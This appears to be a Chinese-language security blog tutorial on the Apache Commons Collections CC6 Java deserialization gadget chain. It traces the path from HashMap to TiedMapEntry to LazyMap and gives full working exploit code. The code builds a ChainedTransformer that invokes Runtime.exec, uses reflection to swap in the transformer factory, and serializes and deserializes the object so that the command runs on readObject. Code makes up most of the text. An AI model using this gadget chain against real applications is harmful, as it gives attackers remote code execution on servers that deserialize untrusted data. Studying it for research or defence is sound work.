CC6

CC1在高版本下不能使用,但是CC6做到了高版本兼容。在CC6中绘制出流程图如下:

image-20240209135144408

TiedMapEntry

LazyMap中的get()方法中调用了transform()这个方法,所以向上查找LazyMap.get()引用,找到了TiedMapEntry这个类。这个类中有以下三个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

所以我们可以在实例化TiedMapEntry类的时候将map传入一个LazyMap对象。同时这个类中的getValue()调用了get()方法,hashCode()调用了getValue()方法。到这里我们就需要找哪里调用了hashCode()方法,这里可以看一下Java-URLDNS链 | Cristrik010 (dotfogtme.ltd)这篇文章对于HashMapput()方法的介绍。简单来说就是通过HashMapput()调用hash(),然后调用hashCode()。payload如下:

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
HashMap map = new HashMap<>();
map.put("key","value");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer);
Runtime runtime = Runtime.getRuntime();

HashMap map1 = new HashMap();
map1.put(new TiedMapEntry(lazyMap,runtime),"Critstrik010");
}

既然在这里可以通过HashMapput()方法调用,那么也可以通过HashMapreadObject()反序列化调用。payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC6 {
public static void main(String[] args) throws Exception{
HashMap map = new HashMap<>();
map.put("key","value");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 先不传入chainedTransformer,防止put执行payload
LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,new ConstantTransformer(1));
HashMap map1 = new HashMap();
map1.put(new TiedMapEntry(lazyMap,"hello"),"Critstrik010");
lazyMap.remove("hello");
// 反序列化前将chainedTransformer传入lazyMap。
Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
se(map1);
unse();
}

public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
public static Object unse() throws IOException, ClassNotFoundException {
FileInputStream fileIn = new FileInputStream("bin.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Object obj = in.readObject();
in.close();
fileIn.close();
return obj;
}
}

这个payload与CC1差不多,但是主要说一下lazyMap.remove("hello");这行代码,由于HashMap.put()在调用到LazyMap.get()方法的时候会向lazyMap添加一个键值对,这样就导致在反序列化调用LazyMap.get()方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

map.containsKey(key)返回true,进而导致无法形成完整的链。